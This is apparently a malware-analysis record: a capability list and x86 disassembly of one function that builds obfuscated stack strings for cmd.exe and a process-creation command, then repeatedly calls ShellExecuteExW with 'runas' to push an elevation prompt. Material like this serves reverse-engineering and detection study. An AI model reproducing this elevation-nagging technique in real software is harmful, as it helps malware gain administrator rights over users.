Function at 0x402a44
Capabilities:
Create process on windows
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6ac
push ebx
push esi
push edi
push 0x25
pop eax
push 0x77
pop edx
push 0x69
pop edi
push 0x6e
mov esi, ecx
mov word [ebp - 0x44], ax
pop ecx
push 0x64
mov word [ebp - 0x3e], cx
pop ecx
push 0x72
mov word [ebp - 0x3c], cx
pop ecx
push 0x5c
mov word [ebp - 0x36], ax
mov word [ebp - 0x38], cx
pop ecx
push 0x73
pop ebx
push 0x79
pop eax
push 0x74
mov word [ebp - 0x30], ax
pop eax
push 0x65
mov word [ebp - 0x2c], ax
mov word [ebp - 0x32], bx
mov word [ebp - 0x2e], bx
pop ebx
push 0x6d
pop eax
push 0x33
mov word [ebp - 0x28], ax
pop eax
push 0x32
mov word [ebp - 0x26], ax
pop eax
push 0x62
mov word [ebp - 0x24], ax
pop eax
push 0x6d
mov word [ebp - 0x1e], ax
pop eax
push 0x63
mov word [ebp - 0x1a], ax
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x40], di
mov word [ebp - 0x3a], di
mov word [ebp - 0x12], di
pop edi
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x2a8]
push 0xff
push eax
lea eax, [ebp - 0x44]
mov word [ebp - 0x42], dx
push eax
mov word [ebp - 0x34], cx
mov word [ebp - 0x2a], bx
mov word [ebp - 0x22], cx
mov word [ebp - 0x20], dx
mov word [ebp - 0x1c], bx
mov word [ebp - 0x18], cx
mov word [ebp - 0x16], dx
mov word [ebp - 0x10], di
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x70
pop eax
push 0x72
mov word [ebp - 0x98], ax
pop eax
push 0x6f
mov word [ebp - 0x96], ax
pop eax
push 0x73
mov word [ebp - 0x94], ax
pop eax
push 0x20
pop edx
push 0x61
pop ecx
push 0x6c
mov word [ebp - 0x8e], ax
mov word [ebp - 0x8c], ax
pop eax
push 0x72
mov word [ebp - 0x84], ax
mov word [ebp - 0x82], ax
pop eax
push 0x74
mov word [ebp - 0x7c], ax
pop eax
push 0x22
mov word [ebp - 0x76], ax
mov word [ebp - 0x86], cx
mov word [ebp - 0x78], cx
pop ecx
push 0x6d
pop eax
push 0x64
mov word [ebp - 0x6c], ax
pop eax
push 0x2f
mov word [ebp - 0x6a], ax
pop eax
push 0x73
mov word [ebp - 0x66], ax
pop eax
push 0x74
mov word [ebp - 0x60], ax
pop eax
push 0x61
mov word [ebp - 0x90], bx
mov word [ebp - 0x7a], bx
mov word [ebp - 0x74], bx
pop ebx
push 0x72
mov word [ebp - 0x92], di
mov word [ebp - 0x88], di
mov word [ebp - 0x7e], di
mov word [ebp - 0x6e], di
mov word [ebp - 0x64], di
pop edi
push 0x25
mov word [ebp - 0x5e], ax
mov word [ebp - 0x58], ax
pop eax
mov word [ebp - 0x54], ax
push 0x73
pop eax
mov word [ebp - 0x52], ax
xor eax, eax
mov word [ebp - 0x4e], ax
lea eax, [ebp - 0x98]
push esi
push eax
lea eax, [ebp - 0x6a8]
mov word [ebp - 0x8a], dx
push eax
mov word [ebp - 0x80], dx
mov word [ebp - 0x72], dx
mov word [ebp - 0x70], cx
mov word [ebp - 0x68], dx
mov word [ebp - 0x62], dx
mov word [ebp - 0x5c], bx
mov word [ebp - 0x5a], di
mov word [ebp - 0x56], dx
mov word [ebp - 0x50], cx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0xa8]
push 0x3d
call fcn.00402f51
push 0x3c
pop edi
push edi
lea ecx, [ebp - 0xa8]
call fcn.00402f96
mov esi, eax
mov dword [esi], edi
mov dword [esi + 4], 0x40
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [esi + 8], eax
push 0x72
pop eax
mov word [ebp - 0xc], ax
push 0x75
pop eax
mov word [ebp - 0xa], ax
push 0x6e
pop eax
mov word [ebp - 8], ax
push 0x73
pop eax
mov word [ebp - 4], ax
xor eax, eax
mov word [ebp - 2], ax
lea eax, [ebp - 0xc]
mov word [ebp - 6], bx
xor ebx, ebx
mov dword [esi + 0xc], eax
mov edi, ebx
lea eax, [ebp - 0x2a8]
mov dword [esi + 0x18], ebx
mov dword [esi + 0x10], eax
lea eax, [ebp - 0x6a8]
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x402cbc
push 0x64
inc edi
pop eax
cmp edi, eax
jb 0x402c97
lea ecx, [ebp - 0xa8]
call fcn.00402f85
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push dword [esi + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]